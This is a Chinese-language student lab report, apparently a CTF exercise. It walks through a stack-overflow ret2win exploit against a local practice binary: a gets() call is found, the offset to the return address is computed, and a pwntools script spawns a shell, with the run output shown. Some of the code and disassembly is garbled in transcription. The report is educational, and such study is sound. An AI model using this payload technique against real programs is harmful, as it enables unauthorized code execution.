实验报告

实验名称 实验: 栈溢出漏洞的利用

1. 攻击面分析:

用 IDA 打开 pwn_1, F5 查看伪代码:

则 main 函数为:

```
int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3    setvbuf(stdin, 0, 2, 0);
5    setvbuf(stdout, 0, 2, 0);
vulnerable_func();
return 0;
7 }
```

注意到 main 函数调用了 vulnerable_func 函数,该函数代码如下:

```
int vulnerable_func()

{
   char s; // [esp+0h] [ebp-48h]

   puts("Just input something?");
   gets(&s);
   return 0;

   8}
```

由此可知 gets 函数处出现漏洞, s 地址为 ebp-48h。

2. 设计思路

查询到 getshell 代码为:

```
1int getshell()
2{
3 system("/bin/sh");
4 return 0;
5}
```

故可以利用 gets 漏洞提权拿到 shell,思想:

输入 s 时覆盖掉 vulnerable_func 函数的返回地址,写入 getshell 函数的地址,在 vulnerable_func 函数结束后会读取并跳转到 getshell 函数从而拿到 shell。

```
使用 pwndbg 调试程序:
在 pwn_exercises 目录下,命令行输入:
gdb pwn_1
pwndbg>start
pwndbg>n
```

使用 IDA 查看 getshell:

```
; Attributes: bp-based frame
public getshell
getshell proc near
; __unwind {
       ebp
mov
       ebp, esp
sub
       esp, 8
       esp, 0Ch
sub
       offset command ; "/bin/sh"
push
call
        system
add
       esp, 10h
mov
       eax, 0
leave
retn
; } // starts at 80484EB
getshell endp
```

知 getshell 的地址为 0x80484EB;

32 位程序函数调用的栈的分布是从高地址向低地址分别为 参数 N 到参数 1,函数的返回地址 ebp 局部变量 1-N;由于 s 地址为 ebp-48h,ebp 是栈帧基址指针寄存器,占四个字节,故构造:

```
payload= 'a' *(0x48+4)+p32(0x80484EB)
故 exp_1.py 如下:
from pwn import *
payload = "a"*0x4C+p32(0x80484EB) #打包数据
io = process('./pwn_1')
io.recvuntil('Just input something?') #指定接受该字符串
io.sendline(payload) #发送数据
io.interactive() #进入交互界面
```

运行结果如下:

```
user@user-VirtualBox:~/pwn_exercises

user@user-VirtualBox:~/pwn_exercises$ python exp_1.py
[+] Starting local process './pwn_1': pid 4200
[*] Switching to interactive mode

$ ls

core exp_1.py pwn_1 pwn_2 pwn_3 pwn_4

$ |
```

由此,拿到 shell。

3. 心得体会

本次实验,我初步了解了pwn,对堆栈有了新的认识,知道如何利用栈溢出漏洞,此外,还了解了IDA工具以及pwndbg的使用。

一开始接触这道题时因为没有经验不知道如何下手,后续通过查 wiki 和看博客上其他人的解题思路才大致了解了如何解决这一类题目,这也算是我初识 CTF 的第一步,今后将继续拓展学习这方面知识。